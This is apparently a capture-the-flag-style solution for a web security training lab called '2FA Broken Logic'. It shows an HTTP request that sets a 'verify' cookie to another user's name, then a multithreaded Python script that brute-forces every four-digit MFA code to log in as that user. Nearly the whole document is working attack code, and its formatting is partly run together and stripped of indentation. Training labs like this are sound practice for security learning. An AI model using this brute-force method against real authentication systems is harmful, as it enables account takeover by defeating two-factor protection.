2FA Broken Logic
POST /login2 HTTP/2
Host: 0ad800ab044c392786550900002e0087.web-security-academy.net
Cookie: session=sVTQs7maz7EMV9DYM1k5lWt8X7SOIyFB; verify=wiener
...
mfa-code=0592import requests
from concurrent.futures import ThreadPoolExecutor
url = "https://0ad800ab044c392786550900002e0087.web-security-academy.net:443/login2"
cookies = {"session": "sVTQs7maz7EMV9DYM1k5lWt8X7SOIyFB", "verify": "carlos"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://0ad800ab044c392786550900002e0087.web-security-academy.net", "Referer": "https://0ad800ab044c392786550900002e0087.web-security-academy.net/login2", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Te": "trailers"}
data = {"mfa-code": "1233"}
proxies = {"http": "http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
def brute_force(code):
code_value = f"{code:04}"
data = {"mfa-code": code_value}
response = requests.post(url, headers=headers, cookies=cookies, data=data)
if ("Incorrect" not in response.text):
print(f"Correct code found: {code_value}")
return True
else:
#print(f"Attempted code: {code_value}, Response code: {response.status_code}")
return False
with ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(brute_force, range(10000)))
if any(results):
print("Correct code found.")
Last updated